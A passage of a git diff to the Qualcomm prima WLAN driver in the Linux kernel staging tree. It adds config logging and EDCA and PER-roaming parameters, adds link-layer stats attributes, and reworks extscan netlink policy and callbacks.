pHddCtx->cfg_ini->toggleArpBDRates); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [ExtScanConcMode] Value = [%u] ", pHddCtx->cfg_ini->cfgExtScanConcMode); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gEnableForceTargetAssert] Value = [%u] ", pHddCtx->cfg_ini->crash_inject_enabled); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gTcpDelAckComputeInterval] Value = [%u] ", + pHddCtx->cfg_ini->tcpDelAckComputeInterval); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gTcpDelAckThresholdHigh] Value = [%u] ", + pHddCtx->cfg_ini->tcpDelAckThresholdHigh); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gTcpDelAckThresholdLow] Value = [%u] ", + pHddCtx->cfg_ini->tcpDelAckThresholdLow); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gEnableDelAck] Value = [%u] ", + pHddCtx->cfg_ini->enable_delack); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [disableBarWakeUp] Value = [%u] ", pHddCtx->cfg_ini->disableBarWakeUp); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gMaxChannelForMoreDwellTime] Value = [%u] ", + pHddCtx->cfg_ini->max_chan_for_dwell_time_cfg); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gTDLSEnableDeferTime] Value = [%u] ", + pHddCtx->cfg_ini->tdls_enable_defer_time); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_ENABLE_EDCA_INI_NAME, + pHddCtx->cfg_ini->enable_edca_params); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VO_CWMIN_VALUE_NAME, + pHddCtx->cfg_ini->edca_vo_cwmin); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VI_CWMIN_VALUE_NAME, + pHddCtx->cfg_ini->edca_vi_cwmin); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BK_CWMIN_VALUE_NAME, + pHddCtx->cfg_ini->edca_bk_cwmin); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BE_CWMIN_VALUE_NAME, + pHddCtx->cfg_ini->edca_be_cwmin); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VO_CWMAX_VALUE_NAME, + pHddCtx->cfg_ini->edca_vo_cwmax); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VI_CWMAX_VALUE_NAME, + pHddCtx->cfg_ini->edca_vi_cwmax); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BK_CWMAX_VALUE_NAME, + pHddCtx->cfg_ini->edca_bk_cwmax); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BE_CWMAX_VALUE_NAME, + pHddCtx->cfg_ini->edca_be_cwmax); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VO_AIFS_VALUE_NAME, + pHddCtx->cfg_ini->edca_vo_aifs); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_VI_AIFS_VALUE_NAME, + pHddCtx->cfg_ini->edca_vi_aifs); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BK_AIFS_VALUE_NAME, + pHddCtx->cfg_ini->edca_bk_aifs); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", + CFG_EDCA_BE_AIFS_VALUE_NAME, + pHddCtx->cfg_ini->edca_be_aifs); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gSendMgmtPktViaWQ5] Value = [%u] ", + pHddCtx->cfg_ini->sendMgmtPktViaWQ5); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [%s] Value = [%u] ", CFG_SAP_PROBE_RESP_OFFLOAD_NAME, + pHddCtx->cfg_ini->sap_probe_resp_offload); + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamStatsTime] Value = [%lu] ", + (long unsigned int)pHddCtx->cfg_ini->PERtimerThreshold); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamRxMonitorEnabled] Value = [%u] ", + pHddCtx->cfg_ini->isPERRoamRxPathEnabled); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamTriggerPercent] Value = [%u] ", + pHddCtx->cfg_ini->PERroamTriggerPercent); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamRxPktThreshold] Value = [%u] ", + pHddCtx->cfg_ini->PERroamRxPktsThreshold); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamCCAEnabled] Value = [%u] ", + pHddCtx->cfg_ini->isPERRoamCCAEnabled); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamFullScanThreshold] Value = [%u] ", + pHddCtx->cfg_ini->PERRoamFullScanThreshold); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamScanInterval] Value = [%lu] ", + (long unsigned int)pHddCtx->cfg_ini->waitPeriodForNextPERScan); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamDownThresholdRate] Value = [%u] ", + pHddCtx->cfg_ini->rateDownThreshold); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamEnable] Value = [%u] ", + pHddCtx->cfg_ini->isPERRoamEnabled); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [gPERRoamUpThresholdRate] Value = [%u] ", + pHddCtx->cfg_ini->rateUpThreshold); +#endif } @@ -4972,6 +5412,20 @@ v_BOOL_t hdd_update_config_dat( hdd_context_t *pHddCtx ) fStatus = FALSE; hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_LPWR_IMG_TRANSITION to CCM"); } + if(ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_ENABLE_CONC_BMISS, + pConfig->enable_conc_bmiss, NULL, eANI_BOOLEAN_FALSE) + ==eHAL_STATUS_FAILURE) + { + fStatus = FALSE; + hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_CONC_BMISS to CCM"); + } + if(ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_ENABLE_UNITS_BWAIT, + pConfig->enable_units_bwait, NULL, eANI_BOOLEAN_FALSE) + ==eHAL_STATUS_FAILURE) + { + fStatus = FALSE; + hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_UNITS_BWAIT to CCM"); + } if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_ENABLE_MCC_ADAPTIVE_SCHED, pConfig->enableMCCAdaptiveScheduler, NULL, eANI_BOOLEAN_FALSE)==eHAL_STATUS_FAILURE) @@ -5411,6 +5865,20 @@ v_BOOL_t hdd_update_config_dat( hdd_context_t *pHddCtx ) fStatus = FALSE; hddLog(LOGE, "Could not pass on WNI_CFG_OPTIMIZE_CA_EVENT "); } + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_EXT_SCAN_CONC_MODE, pConfig->cfgExtScanConcMode, + NULL, eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) + { + fStatus = FALSE; + hddLog(LOGE, "Could not pass on WNI_CFG_EXT_SCAN_CONC_MODE to CCM"); + } + + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_ACTIVE_PASSIVE_CON, + pConfig->gActivePassiveChCon, NULL, + eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) + { + fStatus = FALSE; + hddLog(LOGE, "Could not pass on WNI_CFG_ACTIVE_PASSIVE_CON "); + } if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_ENABLE_MAC_ADDR_SPOOFING, pConfig->enableMacSpoofing, NULL, @@ -5420,22 +5888,21 @@ v_BOOL_t hdd_update_config_dat( hdd_context_t *pHddCtx ) hddLog(LOGE, "Could not pass on WNI_CFG_ENABLE_MAC_ADDR_SPOOFING "); } - if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, - pConfig->boffset_correction_enable, + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, + pConfig->disableBarWakeUp, NULL, eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) { fStatus = FALSE; - hddLog(LOGE, "Could not pass on WNI_CFG_SAR_BOFFSET_SET_CORRECTION to CCM"); + hddLog(LOGE, "Could not pass on WNI_CFG_DISABLE_BAR_WAKE_UP_HOST to CCM"); } - if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_DISABLE_BAR_WAKE_UP_HOST, - pConfig->disableBarWakeUp, + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_SAR_BOFFSET_SET_CORRECTION, + pConfig->boffset_correction_enable, NULL, eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) { fStatus = FALSE; - hddLog(LOGE, "Could not pass on WNI_CFG_DISABLE_BAR_WAKE_UP_HOST to CCM"); + hddLog(LOGE, "Could not pass on WNI_CFG_SAR_BOFFSET_SET_CORRECTION to CCM"); } - return fStatus; } @@ -5517,8 +5984,14 @@ VOS_STATUS hdd_set_sme_config( hdd_context_t *pHddCtx ) smeConfig->csrConfig.nActiveMinChnTime = pConfig->nActiveMinChnTime; smeConfig->csrConfig.nPassiveMaxChnTime = pConfig->nPassiveMaxChnTime; smeConfig->csrConfig.nPassiveMinChnTime = pConfig->nPassiveMinChnTime; - smeConfig->csrConfig.nActiveMaxChnTimeBtc = pConfig->nActiveMaxChnTimeBtc; - smeConfig->csrConfig.nActiveMinChnTimeBtc = pConfig->nActiveMinChnTimeBtc; + smeConfig->csrConfig.max_chntime_btc_esco = + pConfig->max_chntime_btc_esco; + smeConfig->csrConfig.min_chntime_btc_esco = + pConfig->min_chntime_btc_esco; + smeConfig->csrConfig.min_chntime_btc_sco = + pConfig->min_chntime_btc_sco; + smeConfig->csrConfig.max_chntime_btc_sco = + pConfig->max_chntime_btc_sco; smeConfig->csrConfig.disableAggWithBtc = pConfig->disableAggWithBtc; #ifdef WLAN_AP_STA_CONCURRENCY smeConfig->csrConfig.nActiveMaxChnTimeConc = pConfig->nActiveMaxChnTimeConc; @@ -5618,8 +6091,22 @@ VOS_STATUS hdd_set_sme_config( hdd_context_t *pHddCtx ) smeConfig->csrConfig.isWESModeEnabled = pConfig->isWESModeEnabled; #endif #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD - smeConfig->csrConfig.isRoamOffloadScanEnabled = pConfig->isRoamOffloadScanEnabled; - smeConfig->csrConfig.bFastRoamInConIniFeatureEnabled = pConfig->bFastRoamInConIniFeatureEnabled; + smeConfig->csrConfig.isRoamOffloadScanEnabled = + pConfig->isRoamOffloadScanEnabled; + smeConfig->csrConfig.bFastRoamInConIniFeatureEnabled = + pConfig->bFastRoamInConIniFeatureEnabled; + smeConfig->csrConfig.isPERRoamEnabled = + pConfig->isPERRoamEnabled; + smeConfig->csrConfig.rateUpThreshold = pConfig->rateUpThreshold; + smeConfig->csrConfig.rateDownThreshold = pConfig->rateDownThreshold; + smeConfig->csrConfig.waitPeriodForNextPERScan = + pConfig->waitPeriodForNextPERScan; + smeConfig->csrConfig.PERtimerThreshold = pConfig->PERtimerThreshold; + smeConfig->csrConfig.isPERRoamCCAEnabled = pConfig->isPERRoamCCAEnabled; + smeConfig->csrConfig.PERRoamFullScanThreshold = + pConfig->PERRoamFullScanThreshold * -1; + smeConfig->csrConfig.PERroamTriggerPercent = pConfig->PERroamTriggerPercent; + if (0 == smeConfig->csrConfig.isRoamOffloadScanEnabled) { @@ -5670,6 +6157,7 @@ VOS_STATUS hdd_set_sme_config( hdd_context_t *pHddCtx ) smeConfig->csrConfig.ignorePeerErpInfo = pConfig->ignorePeerErpInfo; smeConfig->csrConfig.ignorePeerHTopMode = pConfig->ignorePeerHTopMode; smeConfig->csrConfig.disableP2PMacSpoofing = pConfig->disableP2PMacSpoofing; + smeConfig->csrConfig.enableFatalEvent= pConfig->enableFatalEvent; smeConfig->csrConfig.initialScanSkipDFSCh = pConfig->initialScanSkipDFSCh; smeConfig->csrConfig.isCoalesingInIBSSAllowed = @@ -5691,6 +6179,42 @@ VOS_STATUS hdd_set_sme_config( hdd_context_t *pHddCtx ) smeConfig->fDeferIMPSTime = pHddCtx->cfg_ini->deferImpsTime; smeConfig->fBtcEnableIndTimerVal = pHddCtx->cfg_ini->btcEnableIndTimerVal; smeConfig->csrConfig.roamDelayStatsEnabled = pHddCtx->cfg_ini->gEnableRoamDelayStats; + smeConfig->csrConfig.max_chan_for_dwell_time_cfg = + pHddCtx->cfg_ini->max_chan_for_dwell_time_cfg; + + smeConfig->csrConfig.enable_edca_params = + pHddCtx->cfg_ini->enable_edca_params; + + smeConfig->csrConfig.edca_vo_cwmin = + pHddCtx->cfg_ini->edca_vo_cwmin; + smeConfig->csrConfig.edca_vi_cwmin = + pHddCtx->cfg_ini->edca_vi_cwmin; + smeConfig->csrConfig.edca_bk_cwmin = + pHddCtx->cfg_ini->edca_bk_cwmin; + smeConfig->csrConfig.edca_be_cwmin = + pHddCtx->cfg_ini->edca_be_cwmin; + + smeConfig->csrConfig.edca_vo_cwmax = + pHddCtx->cfg_ini->edca_vo_cwmax; + smeConfig->csrConfig.edca_vi_cwmax = + pHddCtx->cfg_ini->edca_vi_cwmax; + smeConfig->csrConfig.edca_bk_cwmax = + pHddCtx->cfg_ini->edca_bk_cwmax; + smeConfig->csrConfig.edca_be_cwmax = + pHddCtx->cfg_ini->edca_be_cwmax; + + smeConfig->csrConfig.edca_vo_aifs = + pHddCtx->cfg_ini->edca_vo_aifs; + smeConfig->csrConfig.edca_vi_aifs = + pHddCtx->cfg_ini->edca_vi_aifs; + smeConfig->csrConfig.edca_bk_aifs = + pHddCtx->cfg_ini->edca_bk_aifs; + smeConfig->csrConfig.edca_be_aifs = + pHddCtx->cfg_ini->edca_be_aifs; + + + sme_set_mgmt_frm_via_wq5((tHalHandle)(pHddCtx->hHal), + pHddCtx->cfg_ini->sendMgmtPktViaWQ5); vos_set_multicast_logging(pHddCtx->cfg_ini->multicast_host_msgs); halStatus = sme_UpdateConfig( pHddCtx->hHal, smeConfig); diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c index ee35d09cdd2b8..ac46cc664bbb8 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg80211.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -95,6 +95,10 @@ #include "wlan_qct_wda.h" #include "wlan_nv.h" #include "wlan_hdd_dev_pwr.h" +#include "qwlan_version.h" +#include "wlan_logging_sock_svc.h" +#include "wlan_hdd_misc.h" + #define g_mode_rates_size (12) #define a_mode_rates_size (8) @@ -177,6 +181,8 @@ #define MAC_ADDR_SPOOFING_FW_HOST_DISABLE 0 #define MAC_ADDR_SPOOFING_FW_HOST_ENABLE 1 #define MAC_ADDR_SPOOFING_FW_ENABLE_HOST_DISABLE 2 +#define MAC_ADDR_SPOOFING_DEFER_INTERVAL 10 //in ms + static const u32 hdd_cipher_suites[] = { @@ -222,13 +228,6 @@ const static struct ieee80211_channel hdd_channels_2_4_GHZ[] = HDD2GHZCHAN(2484, 14, 0) , }; -static struct ieee80211_channel hdd_social_channels_2_4_GHZ[] = -{ - HDD2GHZCHAN(2412, 1, 0) , - HDD2GHZCHAN(2437, 6, 0) , - HDD2GHZCHAN(2462, 11, 0) , -}; - const static struct ieee80211_channel hdd_channels_5_GHZ[] = { HDD5GHZCHAN(4920, 240, 0) , @@ -314,25 +313,6 @@ static struct ieee80211_supported_band wlan_hdd_band_2_4_GHZ = .ht_cap.mcs.tx_params = IEEE80211_HT_MCS_TX_DEFINED, }; -static struct ieee80211_supported_band wlan_hdd_band_p2p_2_4_GHZ = -{ - .channels = hdd_social_channels_2_4_GHZ, - .n_channels = ARRAY_SIZE(hdd_social_channels_2_4_GHZ), - .band = IEEE80211_BAND_2GHZ, - .bitrates = g_mode_rates, - .n_bitrates = g_mode_rates_size, - .ht_cap.ht_supported = 1, - .ht_cap.cap = IEEE80211_HT_CAP_SGI_20 - | IEEE80211_HT_CAP_GRN_FLD - | IEEE80211_HT_CAP_DSSSCCK40 - | IEEE80211_HT_CAP_LSIG_TXOP_PROT, - .ht_cap.ampdu_factor = IEEE80211_HT_MAX_AMPDU_64K, - .ht_cap.ampdu_density = IEEE80211_HT_MPDU_DENSITY_16, - .ht_cap.mcs.rx_mask = { 0xff, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, - .ht_cap.mcs.rx_highest = cpu_to_le16( 72 ), - .ht_cap.mcs.tx_params = IEEE80211_HT_MCS_TX_DEFINED, -}; - static struct ieee80211_supported_band wlan_hdd_band_5_GHZ = { .channels = NULL, @@ -1107,11 +1087,47 @@ static v_BOOL_t put_wifi_iface_stats(hdd_adapter_t *pAdapter, pWifiIfaceStat->rssiAck)) { hddLog(VOS_TRACE_LEVEL_ERROR, - FL("QCA_WLAN_VENDOR_ATTR put fail")); - vos_mem_free(pWifiIfaceStatTL); + FL("QCA_WLAN_VENDOR_ATTR put fail")); + vos_mem_free(pWifiIfaceStatTL); return FALSE; } +#ifdef FEATURE_EXT_LL_STAT + /* + * Ensure when EXT_LL_STAT is supported by both host and fwr, + * then host should send Leaky AP stats to upper layer, + * otherwise no need to send these stats. + */ + if(sme_IsFeatureSupportedByFW(EXT_LL_STAT) && + sme_IsFeatureSupportedByDriver(EXT_LL_STAT) + ) + { + hddLog(VOS_TRACE_LEVEL_INFO, + FL("EXT_LL_STAT is supported by fwr and host %u %u %u %llu"), + pWifiIfaceStat->leakyApStat.is_leaky_ap, + pWifiIfaceStat->leakyApStat.avg_rx_frms_leaked, + pWifiIfaceStat->leakyApStat.rx_leak_window, + pWifiIfaceStat->leakyApStat.avg_bcn_spread); + if (nla_put_u32(vendor_event, + QCA_WLAN_VENDOR_ATTR_LL_STATS_IFACE_LEAKY_AP_DETECTED, + pWifiIfaceStat->leakyApStat.is_leaky_ap) || + nla_put_u32(vendor_event, + QCA_WLAN_VENDOR_ATTR_LL_STATS_IFACE_LEAKY_AP_AVG_NUM_FRAMES_LEAKED, + pWifiIfaceStat->leakyApStat.avg_rx_frms_leaked) || + nla_put_u32(vendor_event, + QCA_WLAN_VENDOR_ATTR_LL_STATS_IFACE_LEAKY_AP_GUARD_TIME, + pWifiIfaceStat->leakyApStat.rx_leak_window) || + nla_put_u64(vendor_event, + QCA_WLAN_VENDOR_ATTR_LL_STATS_IFACE_AVERAGE_TSF_OFFSET, + pWifiIfaceStat->leakyApStat.avg_bcn_spread)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("EXT_LL_STAT put fail")); + vos_mem_free(pWifiIfaceStatTL); + return FALSE; + } + } +#endif wmmInfo = nla_nest_start(vendor_event, QCA_WLAN_VENDOR_ATTR_LL_STATS_WMM_INFO); if(!wmmInfo) @@ -1393,6 +1409,7 @@ static v_VOID_t hdd_link_layer_process_iface_stats(hdd_adapter_t *pAdapter, "WMI_LINK_STATS_IFACE Data"); cfg80211_vendor_cmd_reply(vendor_event); + EXIT(); } @@ -1423,12 +1440,14 @@ static v_VOID_t hdd_link_layer_process_radio_stats(hdd_adapter_t *pAdapter, hddLog(VOS_TRACE_LEVEL_INFO, "LL_STATS_RADIO" + " number of radios = %u" " radio is %d onTime is %u " " txTime is %u rxTime is %u " " onTimeScan is %u onTimeNbd is %u " " onTimeEXTScan is %u onTimeRoamScan is %u " " onTimePnoScan is %u onTimeHs20 is %u " " numChannels is %u", + NUM_RADIOS, pWifiRadioStat->radio, pWifiRadioStat->onTime, pWifiRadioStat->txTime, pWifiRadioStat->rxTime, pWifiRadioStat->onTimeScan, pWifiRadioStat->onTimeNbd, @@ -1461,6 +1480,9 @@ static v_VOID_t hdd_link_layer_process_radio_stats(hdd_adapter_t *pAdapter, nla_put_u32(vendor_event, QCA_WLAN_VENDOR_ATTR_LL_STATS_RADIO_ID, pWifiRadioStat->radio) || + nla_put_u32(vendor_event, + QCA_WLAN_VENDOR_ATTR_LL_STATS_NUM_RADIOS, + NUM_RADIOS) || nla_put_u32(vendor_event, QCA_WLAN_VENDOR_ATTR_LL_STATS_RADIO_ON_TIME, pWifiRadioStat->onTime) || @@ -1600,13 +1622,14 @@ static void hdd_link_layer_stats_ind_callback ( void *pCtx, { case SIR_HAL_LL_STATS_RESULTS_RSP: { - hddLog(VOS_TRACE_LEVEL_INFO, + hddLog(VOS_TRACE_LEVEL_INFO, "LL_STATS RESP paramID = 0x%x, ifaceId = %u MAC: %pM " "respId = %u, moreResultToFollow = %u", - linkLayerStatsResults->paramId, linkLayerStatsResults->ifaceId, - macAddr, linkLayerStatsResults->respId, - linkLayerStatsResults->moreResultToFollow); - spin_lock(&hdd_context_lock); + linkLayerStatsResults->paramId, linkLayerStatsResults->ifaceId, + macAddr, linkLayerStatsResults->respId, + linkLayerStatsResults->moreResultToFollow); + + spin_lock(&hdd_context_lock); context = &pHddCtx->ll_stats_context; /* validate response received from target */ if ((context->request_id != linkLayerStatsResults->respId) || @@ -1859,7 +1882,7 @@ static int __wlan_hdd_cfg80211_ll_stats_get(struct wiphy *wiphy, if (!pAdapter->isLinkLayerStatsSet) { - hddLog(VOS_TRACE_LEVEL_FATAL, + hddLog(VOS_TRACE_LEVEL_ERROR, "%s: isLinkLayerStatsSet : %d", __func__, pAdapter->isLinkLayerStatsSet); return -EINVAL; @@ -2143,13 +2166,21 @@ wlan_hdd_extscan_config_policy [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD] = { .type = NLA_U32 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS] = { .type = NLA_U8 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD] = + { .type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_EXPONENT] = + { .type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT] = + { .type = NLA_U32 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS] = { .type = NLA_U32 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD] = { .type = NLA_U32 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN] = { .type = NLA_U32 }, - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD] = + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT] = + { .type = NLA_U8 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS] = { .type = NLA_U8 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS] = { .type = NLA_U8 }, @@ -2168,22 +2199,39 @@ wlan_hdd_extscan_config_policy { .type = NLA_U32 }, [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP] = { .type = NLA_U32 }, - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE] = - { .type = NLA_U32 }, - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE] - = { .type = NLA_U32 }, - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING] = + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE] = + { .type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID] = + { .type = NLA_BINARY, + .len = IEEE80211_MAX_SSID_LEN + 1 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE] = + { .type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID] = + { .type = NLA_U32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND] = + { .type = NLA_U8 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW] = + { .type = NLA_S32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH] = + { .type = NLA_S32 }, + [QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS] = { .type = NLA_U32 }, - [QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP] = { .type = - NLA_U32 }, }; -static void wlan_hdd_cfg80211_extscan_get_capabilities_ind(void *ctx, void *pMsg) +/** + * wlan_hdd_cfg80211_extscan_get_capabilities_rsp() - response from target + * @ctx: hdd global context + * @data: capabilities data + * + * Return: none + */ +static void +wlan_hdd_cfg80211_extscan_get_capabilities_rsp(void *ctx, void *pMsg) { + struct hdd_ext_scan_context *context; hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; - tpSirEXTScanCapabilitiesEvent pData = - (tpSirEXTScanCapabilitiesEvent) pMsg; + tSirEXTScanCapabilitiesEvent *data = + (tSirEXTScanCapabilitiesEvent *) pMsg; ENTER(); @@ -2197,116 +2245,173 @@ static void wlan_hdd_cfg80211_extscan_get_capabilities_ind(void *ctx, void *pMsg hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); return; } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) - NULL, -#endif - EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES_INDEX, - GFP_KERNEL); - if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); + vos_spin_lock_acquire(&hdd_context_lock); + + context = &pHddCtx->ext_scan_context; + /* validate response received from target*/ + if (context->request_id != data->requestId) + { + vos_spin_lock_release(&hdd_context_lock); + hddLog(LOGE, + FL("Target response id did not match: request_id %d resposne_id %d"), + context->request_id, data->requestId); return; } + else + { + context->capability_response = *data; + complete(&context->response_event); + } - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Scan cache size (%u)", pData->scanCacheSize); - hddLog(VOS_TRACE_LEVEL_INFO, "Scan buckets (%u)", pData->scanBuckets); - hddLog(VOS_TRACE_LEVEL_INFO, "Max AP per scan (%u)", pData->maxApPerScan); - hddLog(VOS_TRACE_LEVEL_INFO, 